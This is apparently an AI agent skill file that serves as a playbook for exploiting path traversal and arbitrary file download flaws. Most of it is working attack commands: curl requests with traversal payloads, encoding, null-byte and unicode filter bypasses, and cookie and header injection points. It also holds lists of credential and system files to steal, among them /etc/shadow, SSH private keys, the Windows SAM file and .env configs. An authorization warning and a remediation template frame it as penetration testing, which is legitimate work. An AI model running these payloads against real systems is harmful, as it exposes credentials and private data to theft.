Scripts

---
name: exploit-file-download
description: Arbitrary file download vulnerability detection and exploitation using path traversal techniques, bypass methods, and sensitive file discovery. Use this skill when user needs to test for file download vulnerabilities, path traversal, or read sensitive files on target systems.
---

# Arbitrary File Download Detection & Exploitation

## Authorization Warning

**DANGER:** File download vulnerability testing can expose sensitive system files and user data. Always ensure you have:
- Written permission from the target system owner
- Isolated testing environment
- Defined scope of testing
- Legal compliance with local regulations

**Never test file download vulnerabilities on production systems without authorization.**

---

## Prerequisites

### Required Tools

```bash
# Python 3 with requests library
pip install requests

# Optional: curl for manual testing
# Built-in on most systems
```

### Optional Tools

```bash
# Burp Suite for manual testing
# OWASP ZAP for automated scanning
# ffuf for parameter fuzzing
```

---

## Quick Start

### Basic Path Traversal Test
```bash
# Manual test with curl
curl "https://target.com/download?file=../../../etc/passwd"

# Using the automated tester
python scripts/file_download_tester.py -u "https://target.com/download?file=document.pdf"
```

### Sensitive File Scanner
```bash
# Scan for sensitive files after confirming vulnerability
python scripts/sensitive_file_scanner.py -u "https://target.com/download?file=FUZZ" --os linux
```

---

## Common Scenarios

### 1. Basic Path Traversal Testing

Test for basic directory traversal vulnerabilities:

```bash
# Manual testing
curl "https://target.com/download?file=../../../etc/passwd"
curl "https://target.com/download?file=....//....//etc/passwd"

# Automated testing
python scripts/file_download_tester.py -u "https://target.com/download?file=test.pdf"
```

**What to check:**
- Does the parameter accept `../` sequences?
- Can you access files outside the intended directory?
- What is the response when accessing system files?

**Common payload patterns:**
```
../../../etc/passwd
....//....//....//etc/passwd
..\..\..\..\windows\win.ini
```

---

### 2. URL Encoded Bypass

When basic traversal is blocked, try URL encoding:

```bash
# Single URL encoding
curl "https://target.com/download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

# Double URL encoding
curl "https://target.com/download?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"
```

**Encoding variations:**
| Type | Payload |
|------|---------|
| URL encoded | `%2e%2e%2f` |
| Double encoded | `%252e%252e%252f` |
| Mixed | `..%2f..%2f` |

---

### 3. Null Byte Injection

When extension validation exists:

```bash
# Null byte to truncate extension check
curl "https://target.com/download?file=../../../etc/passwd%00.jpg"
curl "https://target.com/download?file=../../../etc/passwd%00.png"
```

**Works against:**
- Simple extension validation
- Some path sanitization filters

---

### 4. Unicode/Double Write Bypass

When standard payloads are filtered:

```bash
# Unicode encoding
curl "https://target.com/download?file=..%c0%af..%c0%af..%c0%afetc/passwd"

# Double write (....//)
curl "https://target.com/download?file=....//....//....//etc/passwd"

# Mixed separators
curl "https://target.com/download?file=..%5c..%5c..%5cetc/passwd"
```

---

### 5. Sensitive File Discovery

After confirming vulnerability, discover sensitive files:

```bash
# Linux targets
python scripts/sensitive_file_scanner.py -u "https://target.com/download?file=FUZZ" --os linux

# Windows targets
python scripts/sensitive_file_scanner.py -u "https://target.com/download?file=FUZZ" --os windows

# Custom file list
python scripts/sensitive_file_scanner.py -u "https://target.com/download?file=FUZZ" --wordlist custom_files.txt
```

**High-value targets (Linux):**
```
/etc/passwd          - User accounts
/etc/shadow          - Password hashes (requires root)
/etc/hosts           - Host mappings
/proc/self/environ   - Environment variables
/var/log/apache2/access.log - Access logs
/home/user/.ssh/id_rsa - SSH private keys
/var/www/html/config.php - Web app configs
```

**High-value targets (Windows):**
```
C:\Windows\win.ini           - Windows configuration
C:\Windows\System32\config\SAM - User accounts
C:\inetpub\wwwroot\web.config - IIS configuration
C:\Users\Administrator\.ssh\id_rsa - SSH keys
```

---

### 6. Application Config Discovery

Target web application configuration files:

```bash
# Common web app configs
../../../var/www/html/config.php
../../../var/www/html/wp-config.php
../../../app/config/database.yml
../../../.env
../../../web.config
```

**Framework-specific paths:**
| Framework | Config Path |
|-----------|-------------|
| WordPress | `wp-config.php` |
| Laravel | `.env` |
| Django | `settings.py` |
| ASP.NET | `web.config` |
| Spring | `application.properties` |

---

### 7. POST Request Testing

Test POST parameters for file download:

```bash
# Save request to file
cat > request.txt << 'EOF'
POST /download HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

file=document.pdf
EOF

# Test with curl
curl -X POST "https://target.com/download" -d "file=../../../etc/passwd"
```

---

### 8. Cookie/Header Testing

Test non-parameter injection points:

```bash
# Cookie parameter
curl "https://target.com/download" --cookie "filename=../../../etc/passwd"

# Custom header
curl "https://target.com/download" -H "X-File-Path: ../../../etc/passwd"

# Referer header
curl "https://target.com/download" -H "Referer: https://target.com/?file=../../../etc/passwd"
```

---

## Tool Selection Guide

| Scenario | Tool | Command |
|----------|------|---------|
| Quick manual test | curl | `curl "URL?file=../../../etc/passwd"` |
| Automated scanning | file_download_tester.py | `python scripts/file_download_tester.py -u URL` |
| Sensitive file scan | sensitive_file_scanner.py | `python scripts/sensitive_file_scanner.py -u URL --os linux` |
| Parameter fuzzing | ffuf | `ffuf -u "URL?file=FUZZ" -w wordlist.txt` |
| Custom payload test | curl | `curl "URL?file=$(cat payload.txt)"` |

---

## Testing Checklist

### Discovery Phase
- [ ] Identify all download endpoints (URL params, forms, API endpoints)
- [ ] Test basic path traversal (`../`)
- [ ] Check response headers for file type information

### Bypass Testing
- [ ] URL encoding (`%2e%2e%2f`)
- [ ] Double URL encoding (`%252e%252e%252f`)
- [ ] Null byte injection (`%00`)
- [ ] Unicode encoding (`%c0%af`)
- [ ] Double write (`....//`)
- [ ] Mixed separators (`..\` on Windows)
- [ ] Path truncation

### Sensitive File Testing
- [ ] Linux system files (`/etc/passwd`, `/etc/shadow`)
- [ ] Windows system files (`win.ini`, `SAM`)
- [ ] Application configs (`.env`, `config.php`)
- [ ] SSH keys (`id_rsa`, `authorized_keys`)
- [ ] Log files (access.log, error.log)
- [ ] Database files

### Post-Exploitation
- [ ] Document all accessible files
- [ ] Identify sensitive data exposed
- [ ] Report severity based on data sensitivity

---

## Resources

### Scripts
- `scripts/file_download_tester.py` - Automated vulnerability detection
- `scripts/sensitive_file_scanner.py` - Sensitive file enumeration

### Reference Documentation
- `references/bypass_techniques.md` - Detailed bypass methods
- `references/sensitive_files.md` - Comprehensive file lists

### Assets/Wordlists
- `assets/traversal_payloads.txt` - Path traversal payloads
- `assets/linux_sensitive_files.txt` - Linux sensitive file paths
- `assets/windows_sensitive_files.txt` - Windows sensitive file paths

### External Resources
- [OWASP Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)
- [PortSwigger File Path Traversal](https://portswigger.net/web-security/file-path-traversal)
- [PayloadsAllTheThings - Directory Traversal](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal)

---

## Reporting Format

When reporting file download vulnerabilities, include:

```
╔═══════════════════════════════════════════════════════╗
║         File Download Vulnerability Report            ║
╠═══════════════════════════════════════════════════════╣
║ Target: https://target.com/download                   ║
║ Type: Path Traversal                                  ║
║ Severity: High                                        ║
╚═══════════════════════════════════════════════════════╝

Vulnerable Parameter: file
Payload: ../../../etc/passwd

Proof of Concept:
curl "https://target.com/download?file=../../../etc/passwd"

Files Confirmed Accessible:
- /etc/passwd (user accounts)
- /etc/hosts (network config)
- /var/www/html/config.php (database credentials)

Impact:
- Access to sensitive system files
- Exposure of database credentials
- Potential for further exploitation

Recommendations:
- Implement strict path validation
- Use allowlist for permitted files
- Sanitize user input for path characters
- Use chroot or container isolation
```